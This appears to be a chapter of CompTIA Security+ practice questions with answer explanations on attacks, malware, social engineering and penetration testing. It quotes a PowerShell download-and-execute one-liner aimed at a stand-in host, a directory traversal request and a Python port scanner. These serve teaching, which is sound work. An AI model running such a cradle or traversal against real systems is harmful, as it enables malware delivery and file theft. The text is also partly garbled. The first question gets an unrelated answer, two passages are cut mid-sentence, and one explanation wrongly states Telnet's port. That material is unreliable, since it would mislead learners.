Chapter 1: Threats, Attacks, and Vulnerabilities

Frank is a network administrator for a small college. He discovers that several machines on his network are infected with malware. That malware is sending a flood of packets to a target external to the network. What best describes this attack? A. SYN flood B. DDoS C. Botnet D. Backdoor

B. Since open Wi-Fi hotspots do not have a way to prove they are legitimate, they can be easily spoofed. Attackers can stand up a fake version of the hotspot and then conduct an SSL stripping attack by inserting themselves into sessions that victims attempt to open to secure servers.

What risk is commonly associated with a lack of vendor support for a product, such as an outdated version of a device? A. Improper data storage B. Lack of patches or updates C. Lack of available documentation D. System integration and configuration issues

B. The most common concern that will arise when a vendor no longer supports a device is a lack of updates or patches. This is particularly concerning when the devices are operational technology such as utility, lighting, or other infrastructure control devices that have a very long life cycle and control important processes or systems. Although improper data storage, lack of documentation, and configuration issues can all be issues, lack of updates and patching remains the biggest and most frequent issue.

Which of the following research sources is typically the least timely when sourcing threat intelligence? A. Vulnerability feeds B. Local industry groups C. Academic journals D. Threat feeds

C. Academic journals are the slowest of the items listed because of the review processes involved with most reputable journals. Although academic journals can be useful resources, they are typically not up-to-the-minute sources. Other resources you should be a

What two files are commonly attacked using offline brute-force attacks? A. The Windows registry and the Linux /etc/passwd file B. The Windows SAM and the Linux /etc/passwd file C. The Windows SAM and the Linux /etc/shadow file D. The Windows registry and the Linux /etc/shadow file

C. The Windows Security Account Manager (SAM) file and the /etc/shadow file for Linux systems both contain passwords and are popular targets for offline brute-force attacks.

A penetration tester called a help desk staff member at the company that Charles works at and claimed to be a senior executive who needed her password changed immediately due to an important meeting they needed to conduct that would start in a few minutes. The staff member changed the executive's password to a password that the penetration tester provided. What social engineering principle did the penetration tester leverage to accomplish this attack? A. Intimidation B. Scarcity C. Urgency D. Trust

C. The penetration tester leveraged the principle of urgency and also used some elements of authority by claiming to be a senior member of the organization. They didn't threaten or intimidate the help desk staff member and did not make something seem scarce, nor did they attempt to build trust with the staff member.

Chris is notified that one of his staff was warned via a text message that the FBI is aware that they have accessed illegal websites. What type of issue is this? A. A phishing attempt B. Identity fraud C. A hoax D. An invoice scam

C. This is an example of a hoax. Hoaxes are fake security threats and can consume both time and resources to combat. User awareness and good habits for validating potential hoaxes are both useful ways to prevent them from consuming more time and energy than they should. A phishing attempt would target credentials or other information, no identity information is mentioned for identity fraud here, and an invoice scam involves a fake or modified invoice.

What term is used to describe spam over Internet messaging services? A. SPIM B. SMSPAM C. IMSPAM D. TwoFaceTiming

A. Although this is one of the more dated items on the Security+ exam outline, you need to know that the term for Internet messaging spam messages is SPIM. The rest of the answers were made up, and though this shows up in the exam outline, the rest of the world has moved on from using this term.

You have noticed that when in a crowded area, you sometimes get a stream of unwanted text messages. The messages end when you leave the area. What describes this attack? A. Bluejacking B. Bluesnarfing C. Evil twin D. Rogue access point

A. Bluejacking involves sending unsolicited messages to Bluetooth devices when they are in range. Bluesnarfing involves getting data from the Bluetooth device. An evil twin attack uses a rogue access point whose name is similar or identical to that of a legitimate access point.

Frank has been asked to conduct a penetration test of a small bookkeeping firm. For the test, he has only been given the company name, the domain name for their website, and the IP address of their gateway router. What best describes this type of test? A. A known environment test B. External test C. An unknown environment test D. Threat test

C. An unknown environment test is also called black-box or a zero-knowledge test because it does not provide information beyond the basic information needed to identify the target. A known environment, or white-box test, involves very complete information being given to the tester. This scenario is probably done from outside the network, but external test is not the correct terminology. Threat test is not a term used in penetration testing.

What type of attack is based on entering fake entries into a target network's domain name server? A. DNS poisoning B. ARP poisoning C. XSS poisoning D. CSRF poisoning

A. Domain Name System (DNS) poisoning attacks attempt to insert incorrect or malicious entries into a trusted DNS server. Address Resolution Protocol (ARP) poisoning involves altering the MAC-IP tables in a switch. Although cross-site scripting (XSS) and cross-site request forgery (CSRF or XSRF) are both types of attacks, neither is a poisoning attack

Which of the following is an attack that seeks to attack a website, based on the website's trust of an authenticated user? A. XSS B. XSRF C. Buffer overflow D. RAT

B. Cross-site request forgery (XSRF or CSRF) sends forged requests to a website, supposedly from a trusted user. Cross-site scripting (XSS) is the injection of scripts into a website to exploit the users. A buffer overflow tries to put more data in a variable than the variable can hold. A remote-access Trojan (RAT) is malware that gives the attacker access to the system.

You are responsible for network security at Acme Company. Users have been reporting that personal data is being stolen when using the wireless network. They all insist they only connect to the corporate wireless access point (AP). However, logs for the AP show that these users have not connected to it. Which of the following could best explain this situation? A. Session hijacking B. Clickjacking C. Rogue access point D. Bluejack

C. If users have been connecting but the AP does not show them connecting, then they have been connecting to a rogue access point. This could be the cause of an architecture and design weakness such as a network without segmentation and control of devices connecting to the network. Session hijacking involves taking over an already authenticated session. Most session hijacking attacks involve impersonation. The attacker attempts to gain access to another user's session by posing as that user. Clickjacking involves causing visitors to a website to click on the wrong item. Finally, bluejacking is a Bluetooth attack.

Which of the following best describes software that will provide the attacker with remote access to the victim's machine but that is wrapped with a legitimate program in an attempt to trick the victim into installing it? A. RAT B. Backdoor C. Trojan horse D. Macro virus

A. A remote access Trojan (RAT) is malware that gives the attacker remote access to the victim machine. Macro viruses operate inside of Microsoft Office files. Although a backdoor will give access, it is usually something in the system put there by programmers, not introduced by malware. A RAT is a type of Trojan horse, but a Trojan horse is more general than what is described in the scenario. When you encounter questions like this on the exam, you will need to select the best answer, not just one that may answer the question!

While conducting a penetration test, Annie scans for systems on the network she has gained access to. She discovers another system within the same network that has the same accounts and user types as the one she is on. Since she already has a valid user account on the system she has already accessed, she is able to log in to it. What type of technique is this? A. Lateral movement B. Privilege escalation C. Privilege retention D. Vertical movement

A. Annie has moved laterally. Lateral movement moves to systems at the same trust level. This can provide access to new data or different views of the network depending on how the systems and security are configured. Privilege escalation involves gaining additional privileges, often those of an administrative user. Vertical movement is sometimes referenced when gaining access to systems or accounts with a higher security or trust level. Privilege retention was made up for this question

Charles sets the permissions on the /etc directory on a Linux system to 777 using the chmod command. If Alex later discovers this, what should he report his finding as? A. Open or weak permissions B. Improper file handling C. A privilege escalation attack D. None of the above

A. Linux privileges can be set numerically, and 777 sets user, group, and world to all have read, write, and execute access to the entire /etc directory. Setting permissions like this is a common workaround when permissions aren't working but can expose data or make binaries executable by users who should not have access to them. When you set permissions for a system, remember to set them according to the rule of least privilege: only the permissions that are required for the role or task should be configured.

Susan is analyzing the source code for an application and discovers a pointer de-reference and returns NULL. This causes the program to attempt to read from the NULL pointer and results in a segmentation fault. What impact could this have for the application? A. A data breach B. A denial-of-service condition C. Permissions creep D. Privilege escalation

B. A segmentation fault will typically stop the program from running. This type of issue is why a NULL pointer or other pointer de-referencing error is considered a potential security issue, as a denial-of-service condition impacts the availability of the service. This type of error is unlikely to cause a data breach or allow privilege escalation, and permissions creep occurs as individuals accrue more permissions over time in a single organization as their permissions are not cleaned up when they switch positions or roles.

Adam wants to download lists of malicious or untrustworthy IP addresses and domains using STIX and TAXII. What type of service is he looking for? A. A vulnerability feed B. A threat feed C. A hunting feed D. A rule feed

B. Adam should look for one or more threat feeds that match the type of information he is looking for. Open threat feeds exist that typically use STIX and TAXII to encode and transfer feed data to multiple tools in an open format. None of the other feed types here would meet Adam's needs.

When a program has variables, especially arrays, and does not check the boundary values before inputting data, what attack is the program vulnerable to? A. XSS B. CSRF C. Buffer overflow D. Logic bomb

C. A buffer overflow is possible when boundaries are not checked and the attacker tries to put in more data than the variable can hold. Cross-site scripting (XSS) is a web page attack. Cross-site request forgery (CSRF) is a web page attack. A logic bomb is malware that performs its misdeed when some condition is met.

Why is improper error handling for web applications that results in displaying error messages considered a vulnerability that should be remediated? A. Errors can be used to crash the system. B. Many errors result in race conditions that can be exploited. C. Many errors provide information about the host system or its configuration. D. Errors can change system permissions

C. Errors are considered a vulnerability because they often provide additional details about the system or its configuration. They typically cannot be used to directly exploit or crash the system.

Claire discovers the following PowerShell script. What does it do? powershell.exe -ep Bypass -nop -noexit -c iex ((New ObjectNet.WebClient). DownloadString('https://example.com/file.psl)) A. Downloads a file and opens a remote shell B. Uploads a file and deletes the local copy C. Downloads a file into memory D. Uploads a file from memory

C. The code is an example of a PowerShell script that downloads a file into memory. You can rule out the upload options by reading the script since it mentions a download in the script example. Since we see a string being downloaded, rather than a file and location, you may be able to guess that this is a fileless malware example.

Ian runs a vulnerability scan, which notes that a service is running on TCP port 8080. What type of service is most likely running on that port? A. SSH B. RDP C. MySQL D. HTTP

D. Although 80 and 443 are the most common HTTP ports, it is common practice to run additional web servers on port 8080 when a nonstandard port is needed. SSH would be expected to be on port 22, RDP on 3389, and MySQL on 3306.

When a multithreaded application does not properly handle various threads accessing a common value, and one thread can change the data while another thread is relying on it, what flaw is this? A. Memory leak B. Buffer overflow C. Integer overflow D. Time of check/time of use

D. If access is not handled properly, a time of check/time of use condition can exist where the memory is checked, changed, then used. Memory leaks occur when memory is allocated but not deallocated. A buffer overflow is when more data is put into a variable than it can hold. An integer overflow occurs when an attempt is made to put an integer that is too large into a variable, such as trying to put a 64-bit integer into a 32-bit variable.

Your company has hired a penetration testing firm to test the network. For the test, you have given the company details on operating systems you use, applications you run, and network devices. What best describes this type of test? A. Known environment test B. External test C. Unknown environment test D. Threat test

A. A known environment (white-box) test involves providing extensive information, as described in this scenario. A known environment test could be internal or external. This scenario describes the opposite of an unknown environment (black-box) test, which would involve zero knowledge. Finally, threat test is not a term used in penetration testing.

information but no details about the network. What kind of test is this? A. Partially known environment B. Known environment C. Unknown environment D. Masked

A. A partially known (gray-box) test involves the tester being given partial information about the network. A known environment (white-box) test involves the tester being given full or nearly full information about the target network, and unknown (black-box) environments don't provide information about the target environment. Masked is not a testing term.

Which of the following threat actors is most likely to be associated with an advanced persistent threat (APT)? A. Hacktivists B. State actors C. Script kiddies D. Insider threats

B. State actors (or nation-state actors) often have greater resources and skills, making them a more significant threat and far more likely to be associated with an advanced persistent threat actor. Script kiddies, hacktivists, and insider threats tend to be less capable and are all far less likely to be associated with an APT.

What type of attack depends on the attacker entering JavaScript into a text area that is intended for users to enter text that will be viewed by other users? A. SQL injection B. Clickjacking C. Cross-site scripting D. Bluejacking

C. Cross-site scripting involves entering a script into text areas that other users will view. SQL injection is not about entering scripts, but rather SQL commands. Clickjacking is about tricking users into clicking on the wrong thing. Bluejacking is a Bluetooth attack

John discovers that email from his company's email servers is being blocked because of spam that was sent from a compromised account. What type of lookup can he use to determine what vendors like McAfee and Barracuda have classified his domain as? A. An nslookup B. A tcpdump C. A domain reputation lookup D. A SMTP whois

C. Domain reputation services like Reputation Authority, Cisco's Talos, McAfee's trustedsource.org, and Barracuda's barracudacentral.org sites all provide domain reputation data that allow you to look up a domain or IP address to determine if it is currently blacklisted or has a poor reputation.

You have been asked to test your company network for security issues. The specific test you are conducting involves primarily using automated and semiautomated tools to look for known vulnerabilities with the various systems on your network. Which of the following best describes this type of test? A. Vulnerability scan B. Penetration test C. Security audit D. Security test

A. Vulnerability scans use automated tools to look for known vulnerabilities in systems and applications and then provide reports to assist in remediation activities. Penetration tests seek to actually exploit the vulnerabilities and break into systems. Security audits usually focus on checking policies, incident reports, and other documents. Security test is a generic term for any sort of test.

You are a network security administrator for a bank. You discover that an attacker has exploited a flaw in OpenSSL and forced some connections to move to a weak cipher suite version of TLS, which the attacker could breach. What type of attack was this? A. Disassociation attack B. Downgrade attack C. Session hijacking D. Brute force

B. Downgrade attacks seek to make a Transport Layer Security (TLS) connection use a weaker cipher version, thus allowing the attacker to more easily break the encryption and read the protected data. In a disassociation attack, the attacker attempts to force the victim into disassociating from a resource. Session hijacking is when the attacker takes over an authenticated session. Brute-force attempts every possible random combination to get the password or encryption key.

Farès is the network security administrator for a company that creates advanced routers and switches. He has discovered that his company's networks have been subjected to a series of advanced attacks over a period of time. What best describes this attack? A. DDoS B. Brute force C. APT D. Disassociation attack

C. An advanced persistent threat (APT) involves sophisticated (i.e., advanced) attacks over a period of time (i.e., persistent). A distributed denial-of-service (DDoS) could be a part of an APT, but in and of itself is unlikely to be an APT. Brute force attempts every possible random combination to get the password or encryption key. In a disassociation attack, the attacker attempts to force the victim into disassociating from a resource.

Ahmed is a sales manager with a major insurance company. He has received an email that is encouraging him to click on a link and fill out a survey. He is suspicious of the email, but it does mention a major insurance association, and that makes him think it might be legitimate. Which of the following best describes this attack? A. Phishing B. Social engineering C. Spear phishing D. Trojan horse

C. The correct answer is spear phishing. Spear phishing is targeted to a specific group, in this case insurance professionals. Although this is a form of phishing, the more specific answer is the one you will need to choose on questions like this. Phishing uses social engineering techniques to succeed but is once again a broader answer than spear phishing and thus is not the correct choice. Finally, a Trojan horse pretends to be a legitimate or desirable program or file, which this scenario doesn't describe

Unusual outbound network traffic, geographical irregularities, and increases in database read volumes are all examples of what key element of threat intelligence? A. Predictive analysis B. OSINT C. Indicators of compromise D. Threat maps

C. There are many indicators of compromise (IoCs), including unusual outbound network traffic, geographical irregularities like logins from a country where the person normally does not work, or increases in database read volumes beyond normal traffic patterns. Predictive analysis is analysis work done using datasets to attempt to determine trends and likely attack vectors so that analysts can focus their efforts where they will be most needed and effective. OSINT is open source intelligence, and threat maps are often real-time or near real-time visualizations of where threats are coming from and where they are headed to.

What type of attack involves adding an expression or phrase such as adding "SAFE" to mail headers? A. Pretexting B. Phishing C. SQL injection D. Prepending

D. Prepending is one of the stranger terms that appear on the CompTIA Security+ exam and is not a commonly used phrase in the industry. Thus, you need to know that when it is used for this exam it can mean one of three things: adding an expression or phrase to an email, subject line, or headers to either protect or fool users. They also note that it can be used when adding data as part of an attack, and that social engineers may "prepend" information by inserting it into conversation to get targets to think about things the attacker wants them to. Pretexing is a social engineering technique where attackers use a reason that is intended to be believable to the target for what they are doing. SQL injection is attempts to add SQL code to a web query to gain additional access or data. Prepending is used to cover a wide variety of techniques in the Security+ exam outline that focus on adding information or data to existing content.

You have noticed that when in a crowded area, data from your cell phone is stolen. Later investigation shows a Bluetooth connection to your phone, one that you cannot explain. What describes this attack? A. Bluejacking B. Bluesnarfing C. Evil twin D. RAT

B. Bluesnarfing involves accessing data from a Bluetooth device when it is in range. Bluejacking involves sending unsolicited messages to Bluetooth devices when they are in range. Evil twin attacks use a rogue access point whose name is similar or identical to that of a legitimate access point. A RAT is a remote-access Trojan, and nothing in this scenario points to a RAT being the cause of the stolen data.

What process typically occurs before card cloning attacks occur? A. A brute-force attack B. A skimming attack C. A rainbow table attack D. A birthday attack

B. Card cloning often occurs after a skimming attack is used to capture card data, whether from credit cards or entry access cards. Brute-force and rainbow table-based attacks are both used against passwords, whereas a birthday attack is a cryptographic attack often aimed at finding two messages that hash to the same value.

What term describes using conversational tactics as part of a social engineering exercise to extract information from targets? A. Pretexting B. Elicitation C. Impersonation D. Intimidation

B. Elicitation, or the process of eliciting information through conversation to gather useful information, is a key tool in a penetration tester's social engineering arsenal. Pretexting involves the use of believable reasons for the target to go along with whatever the social engineering is attempting to do. Impersonation involves acting like someone you are not, whereas intimidation attempts to scare or threaten the target into doing what the social engineer wants them to.

Steve discovers the following code on a system. What language is it written in, and what does it do? import socket as skt for port in range (1,9999): try: sc=skt.socket(askt.AF_INET,skt.SOCK_STREAM) sc.settimeout(900) sc.connect(('127.0.0.1,port)) print '%d:OPEN' % (port) sc.close except: continue A. Perl, vulnerability scanning B. Python, port scanning C. Bash, vulnerability scanning D. PowerShell, port scanning

B. The Security+ exam expects practitioners to be able to analyze scripts and code to determine roughly what function they perform and to be able to identify multiple programming languages. Python relies on formatting like indenting to indicate blocks of code and does not use line end indicators as you would find in some languages. This code is a basic Python port scanner that will scan every port from 1 to 9999, checking to see if it allows a connection

Tony is reviewing a web application and discovers the website generates links like the following: https://www.example.com/login.html?Relay=http%3A%2F%2Fexample.com%2Fsite .html What type of vulnerability is this code most likely to be susceptible to? A. SQL injection B. URL redirection C. DNS poisoning D. LDAP injection

B. Uniform resource locator (URL) redirection is frequently used in web applications to direct users to another service or portion of the site. If this redirection is not properly secured, it can be used to redirect to an arbitrary untrusted or malicious site. This issue, known as Open Redirect vulnerabilities, remains quite common. The code shown does not contain SQL or LDAP code, and there is no mention of changing DNS information on the server, thus making the other options incorrect

Carolyn runs a vulnerability scan of a network device and discovers that the device is running services on TCP ports 22 and 443. What services has she most likely discovered? A. Telnet and a web server B. FTP and a Windows fileshare C. SSH and a web server D. SSH and a Windows fileshare

C. A network device running SSH and a web server on TCP port 443 is a very typical discovery when running a vulnerability scan. Without any demonstrated issues, Carolyn should simply note that she saw those services. Telnet runs on port 21, an unencrypted web server will run on TCP 80 in most cases, and Windows fileshares use a variety of ports including TCP ports 135-139 and 445.

You have discovered that there are entries in your network's domain name server that point legitimate domains to unknown and potentially harmful IP addresses. What best describes this type of attack? A. A backdoor B. An APT C. DNS poisoning D. A Trojan horse

C. DNS poisoning occurs when false DNS information is inserted into legitimate DNS servers, resulting in traffic being redirected to unwanted or malicious sites. A backdoor provides access to the system by circumventing normal authentication. An APT is an advanced persistent threat. A Trojan horse ties a malicious program to a legitimate program.

Social Security numbers and other personal information are often stolen for what purpose? A. Blackmail B. Tailgating C. Identity fraud D. Impersonation

C. Identity fraud and identity theft commonly use Social Security numbers as part of the theft of identity. Tailgating involves following a person through a security door or gate so that you do not have to present credentials or a code, whereas impersonation is a social engineering technique where you claim to be someone else. Blackmail is a potential answer, but the most common usage is for identity fraud.

Which of the following capabilities is not a key part of a SOAR (security orchestration, automation, and response) tool? A. Threat and vulnerability management B. Security incident response C. Automated malware analysis D. Security operations automation

C. SOAR is a relatively new category as defined by Gartner. Security orchestration, automation, and response includes threat and vulnerability management, security incident response, and security operations automation, but not automated malware analysis

Elizabeth is investigating a network breach at her company. She discovers a program that was able to execute code within the address space of another process by using the target process to load a specific library. What best describes this attack? A. Logic bomb B. Session hijacking C. Buffer overflow D. DLL injection

D. In a DLL injection, the malware attempts to inject code into the process of some library. This is a rather advanced attack. Option A is incorrect. A logic bomb executes its misdeed when some condition is met. Option B is incorrect. Session hijacking is taking over an authenticated session. Option C is incorrect. Buffer overflows are done by sending more data to a variable than it can hold.

SourceForge and GitHub are both examples of what type of threat intelligence source? A. The dark web B. Automated indicator sharing sources C. File or code repositories D. Public information sharing centers

C. Although it may seem strange at first, both SourceForge and GitHub are used to house sample exploit code as well as other information that threat intelligence analysts may find useful. They are not part of the dark web, nor are they an automated indicator sharing (AIS) source or a public information sharing center.

What type of attack is a birthday attack? A. A social engineering attack B. A cryptographic attack C. A network denial-of-service attack D. A TCP/IP protocol attack

B. A birthday attack exploits the birthday problem in probability theory and relies on finding collisions between random attack attempts and the number of potential permutations of a solution. Birthday attacks are one method of attacking cryptographic hash functions. They are not a social engineering attack, a network denial-of-service attack, or a TCP/IP protocol attack

During what phase of a penetration test is information like employee names, phone number, and email addresses gathered? A. Exploitation B. Establishing persistence C. Reconnaissance D. Lateral movement

C. The reconnaissance phase of a penetration test involves gathering information about the target, including domain information, system information, and details about employees like phone numbers, names, and email addresses.

Valerie is responsible for security testing applications in her company. She has discovered that a web application, under certain conditions, can generate a memory leak. What type of attack would this leave the application vulnerable to? A. DoS B. Backdoor C. SQL injection D. Buffer overflow

A. A denial-of-service (DoS) attack may target a memory leak. If an attacker can induce the web application to generate the memory leak, then eventually the web application will consume all memory on the web server and the web server will crash. Backdoors are not caused by memory leaks. SQL injection places malformed SQL into text boxes. A buffer overflow attempts to put more data in a variable than it can hold.

While reviewing web logs for her organization's website Kathleen discovers the entry shown here: GET http://example.com/viewarticle.php?view=../../../config.txt HTTP/1.1 What type of attack has she potentially discovered? A. A directory traversal attacks B. A web application buffer overflow C. A directory recursion attack D. A slashdot attack

A. Directory traversal attacks attempt to exploit tools that can read directories and files by moving through the directory structure. The example would try to read the config.txt file three layers above the working directory of the web application itself. Adding common directory names or common filenames can allow attackers (or penetration testers) to read other files in accessible directories if they are not properly secured. The remainder of the options were made up for this question, although Slashdot is an actual website.

A penetration tester calls a staff member for her target organization and introduces herself as a member of the IT support team. She asks if the staff member has encountered a problem with their system, then proceeds to ask for details about the individual, claiming she needs to verify that she is talking to the right person. What type of social engineering attack is this? A. Pretexting B. A watering hole attack C. Prepending D. Shoulder surfing

A. Pretexting is a type of social engineering that involves using a false motive and lying to obtain information. Here, the penetration tester lied about their role and why they are calling (impersonation), and then built some trust with the user before asking for personal information. A watering hole attack leverages a website that the targeted users all use and places malware on it to achieve their purpose. Prepending is described by CompTIA as "adding an expression or a phrase," and shoulder surfing involves looking over an individual's shoulder or otherwise observing them entering sensitive information like passwords

What term describes a military strategy for political warfare that combines conventional warfare, irregular warfare, and cyberwarfare with fake news, social media influence strategies, diplomatic efforts, and manipulation of legal activities? A. Social warfare B. Hybrid warfare C. Social influence D. Cybersocial influence campaigns

B. Hybrid warfare is a relatively new term that describes the multipronged attacks conducted as part of a military or national strategy of political warfare that uses traditional, asymmetric, and cyberwarfare techniques along with influence methods to achieve goals

Acme Company is using smartcards that use near-field communication (NFC) rather than needing to be swiped. This is meant to make physical access to secure areas more secure. What vulnerability might this also create? A. Tailgating B. Eavesdropping C. IP spoofing D. Race conditions

B. Near-field communication (NFC) is susceptible to an attacker eavesdropping on the signal. Tailgating is a physical attack and not affected by NFC technology. Both IP spoofing and race conditions are unrelated to NFC technology.

Where is an RFID attack most likely to occur as part of a penetration test? A. System authentication B. Access badges C. Web application access D. VPN logins

B. Radio frequency identification (RFID) is commonly used for access badges, inventory systems, and even for identifying pets using implantable chips. In a penetration testing scenario, attackers are most likely to attempt to acquire or clone RFID-based access badges to gain admittance to a building or office suite.

Which of the following is not a common part of a cleanup process after a penetration test? A. Removing all executables and scripts from the compromised system B. Restoring all rootkits to their original settings on the system C. Returning all system settings and application configurations to their original configurations D. Removing any user accounts created during the penetration test

B. Systems should not have a rootkit on them when a penetration test starts, and rootkits installed during the test should be fully removed and securely deleted. The rest of the options are all typical parts of a penetration testing cleanup process. You can read more at the penetration testing standard site at www.pentest-standard.org/index.php/ Post_Exploitation.

What type of phishing attack occurs via text messages? A. Bluejacking B. Smishing C. Phonejacking D. Text whaling

B. The word you will need to know for the Security+ exam for phishing via SMS is "smishing," a term that combines SMS and phishing. Bluejacking sends unsolicited messages to Bluetooth devices, and phonejacking and text whaling were made up for this question

Elias has implemented an AI-based network traffic analysis tool that requires him to allow the tool to monitor his network for a period of two weeks before being put into full production. What is the most significant concern he needs to address before using the AI's baselining capabilities? A. The network should be isolated to prevent outbound traffic from being added to the normal traffic patterns. B. Compromised or otherwise malicious machines could be added to the baseline resulting in tainted training data. C. Traffic patterns may not match traffic throughout a longer timeframe. D. The AI may not understand the traffic flows in his network.

B. Training an artificial intelligence (AI) or machine learning (ML) system with tainted data is a significant concern. Elias needs to ensure that the traffic on his network is typical and nonmalicious to ensure that the AI does not presume that malicious traffic is normal for his network.

Charles has been tasked with building a team that combines techniques from attackers and defenders to help protect his organization. What type of team is he building? A. A red team B. A blue team C. A white team D. A purple team

D. Purple teams are a combination of red and blue teams intended to leverage the techniques and tools from both sides to improve organizational security. A red team is a team that tests security by using tools and techniques like an actual attacker. A blue team is a defender team that protects against attackers (and testers like red teams!). White teams oversee cybersecurity contests and judge events between red teams and blue teams.

Some users on your network use Acme Bank for their personal banking. Those users have all recently been the victim of an attack, in which they visited a fake Acme Bank website and their logins were compromised. They all visited the bank website from your network, and all of them insist they typed in the correct URL. What is the most likely explanation for this situation? A. Trojan horse B. IP spoofing C. Clickjacking D. DNS poisoning

D. This appears to be a situation where your network's DNS server is compromised and sending people to a fake site. A Trojan horse is malware tied to a legitimate program. IP spoofing would be using a fake IP address, but that is not described in this scenario. In fact, the users are not even typing in IP addresses—they are typing in URLs. Clickjacking involves tricking users into clicking something other than what they intended.

Scott discovers that malware has been installed on one of the systems he is responsible for. Shortly afterward passwords used by the user that the system is assigned to are discovered to be in use by attackers. What type of malicious program should Scott look for on the compromised system? A. A rootkit B. A keylogger C. A worm D. None of the above

B. A keylogger is a software or hardware tool used to capture keystrokes. Keyloggers are often used by attackers to capture credentials and other sensitive information. A rootkit is used to obtain and maintain administrative rights on a system, and a worm is a self-spreading form of malware that frequently targets vulnerable services on a network to spread.

You are a security administrator for a medium-sized bank. You have discovered a piece of software on your bank's database server that is not supposed to be there. It appears that the software will begin deleting database files if a specific employee is terminated. What best describes this? A. Worm B. Logic bomb C. Trojan horse D. Rootkit

B. A logic bomb is malware that performs its malicious activity when some condition is met. A worm is malware that self-propagates. A Trojan horse is malware attached to a legitimate program, and a rootkit is malware that gets root or administrative privileges

You are performing a penetration test of your company's network. As part of the test, you will be given a login with minimal access and will attempt to gain administrative access with this account. What is this called? A. Privilege escalation B. Session hijacking C. Root grabbing D. Climbing

A. The term for attempting to gain any privileges beyond what you have is privilege escalation. Session hijacking is taking over an authenticated session. Root grabbing and climbing are not terms used in the industry

Your company outsourced development of an accounting application to a local programming firm. After three months of using the product, one of your administrators discovers that the developers have inserted a way to log in and bypass all security and authentication. What best describes this? A. Logic bomb B. Trojan horse C. Backdoor D. Rootkit

C. A backdoor is a method for bypassing normal security and directly accessing the system. A logic bomb is malware that performs its misdeeds when some condition is met. A Trojan horse wraps a malicious program to a legitimate program. When the user downloads and installs the legitimate program, they get the malware. A rootkit is malware that gets root or administrative privileges.

Which of the following is not a common means of attacking RFID badges? A. Data capture B. Spoofing C. Denial-of-service D. Birthday attacks

D. Radio frequency identifier (RFID) attacks typically focus on data capture, spoofing RFID data, or conducting a denial-of-service attack. Birthday attacks are used against cryptosystems, which may be part of an RFID tag environment, but they aren't a common attack against RFID systems.

Patrick has subscribed to a commercial threat intelligence feed that is only provided to subscribers who have been vetted and who pay a monthly fee. What industry term is used to refer to this type of threat intelligence? A. Proprietary threat intelligence B. OSINT C. ELINT D. Corporate threat intelligence

A. Proprietary, or closed threat, intelligence is threat intelligence that is not openly available. OSINT, or open source threat intelligence, is freely available. ELINT is a military term for electronic and signals intelligence. Corporate threat intelligence was made up for this question.

Jared is responsible for network security at his company. He has discovered behavior on one computer that certainly appears to be a virus. He has even identified a file he thinks might be the virus. However, using three separate antivirus programs, he finds that none can detect the file. Which of the following is most likely to be occurring? A. The computer has a RAT. B. The computer has a zero-day exploit. C. The computer has a worm. D. The computer has a rootkit.

B. Zero-day exploits are new, and they are not in the virus definitions for the antivirus (AV) programs. This makes them difficult to detect, except by their behavior. RATs, worms, and rootkits are more likely to be detected by AV programs

One of your users cannot recall the password for their laptop. You want to recover that password for them. You intend to use a tool/technique that is popular with hackers, and it consists of searching tables of precomputed hashes to recover the password. What best describes this? A. Rainbow table B. Backdoor C. Social engineering D. Dictionary attack

A. A rainbow table is a table of precomputed hashes, used to retrieve passwords. A backdoor is used to gain access to a system, not to recover passwords. Social engineering and dictionary attacks can both be used to gain access to passwords, but they are not tables of precomputed hashes

Someone has been rummaging through your company's trash bins seeking to find documents, diagrams, or other sensitive information that has been thrown out. What is this called? A. Dumpster diving B. Trash diving C. Social engineering D. Trash engineering

A. Dumpster diving is the term for rummaging through the waste/trash to recover useful documents or materials. Penetration testers and attackers may dumpster-dive as part of their efforts. In fact, emptying trash cans in a location can provide useful information even without jumping into a dumpster! Trash diving and trash engineering are not the terms used in the industry. Nothing in this scenario describes social engineering.

What type of penetration test is being done when the tester is given extensive knowledge of the target network? A. Known environment B. Full disclosure C. Unknown environment D. Red team

A. In a known environment (white-box) test, the tester is given extensive knowledge of the target network. Full disclosure is not a term used to describe testing. Unknown environment (black-box) testing involves only very minimal information being given to the tester. A red team test simulates a particular type of attacker, such as a nation-state attacker, an insider, or other type of attacker.

What two techniques are most commonly associated with a pharming attack? A. Modifying the hosts file on a PC or exploiting a DNS vulnerability on a trusted DNS server B. Phishing many users and harvesting email addresses from them C. Phishing many users and harvesting many passwords from them D. Spoofing DNS server IP addresses or modifying the hosts file on a PC

A. Pharming attempts to redirect traffic intended for a legitimate site to another malicious site. Attackers most often do this by changing the local hosts file or by exploiting a trusted DNS server.

What type of technique is commonly used by malware creators to change the signature of malware to avoid detection by antivirus tools? A. Refactoring B. Cloning C. Manual source code editing D. Changing programming languages

A. Refactoring a program by automated means can include adding additional text, comments, or nonfunctional operations to make the program have a different signature without changings its operations. This is typically not a manual operation due to the fact that antimalware tools can quickly find new versions. Instead, refactoring is done via a polymorphic or code mutation technique that changes the malware every time it is installed to help avoid signature-based systems.

Frank is part of a white team for a cybersecurity exercise. What role will he and his team have? A. Performing oversight and judging of the exercise B. Providing full details of the environment to the participants C. Providing partial details of the environment to the participants D. Providing defense against the attackers in the exercise

A. White teams act as judges and provide oversight of cybersecurity exercises and competitions. Options B and C may remind you of white- and gray-box tests, but they're only there to confuse you. Cybersecurity teams are usually referred to with colors like red, blue, and purple as the most common colors, as well as the white teams that the Security+ exam outline mentions. Defenders in an exercise are part of the blue team.

Madhuri is concerned about the security of the machine learning algorithms that her organization is deploying. Which of the following options is not a common security precaution for machine learning algorithms? A. Ensuring the source data is secure and of sufficient quality B. Requiring a third-party review of all proprietary algorithms C. Requiring change control and documentation for all changes to the algorithms D. Ensuring a secure environment for all development, data acquisition, and storage

B. Although engaging domain experts is often encouraged, requiring third-party review of proprietary algorithms is not. Many machine learning algorithms are sensitive since they are part of an organization's competitive advantage. Ensuring that data is secure and of sufficient quality, ensuring a secure development environment, and requiring change control are all common artificial intelligence (AI)/machine learning (ML) security practices.

During an incident investigation, Naomi notices that a second keyboard was plugged into a system in a public area of her company's building. Shortly after that event, the system was infected with malware, resulting in a data breach. What should Naomi look for in her inperson investigation? A. A Trojan horse download B. A malicious USB cable or drive C. A worm D. None of the above

B. Malicious tools like BadUSB can make a USB cable or drive look like a keyboard when they are plugged in. Somewhat strangely, the Security+ exam outline focuses on malicious USB cables, but you should be aware that malicious thumb drives are far more common and have been used by penetration testers simply by dropping them in a parking lot near their intended target. A Trojan or a worm is a possibility, but the clue involving the keyboard would point to a USB device as the first place Naomi should look.

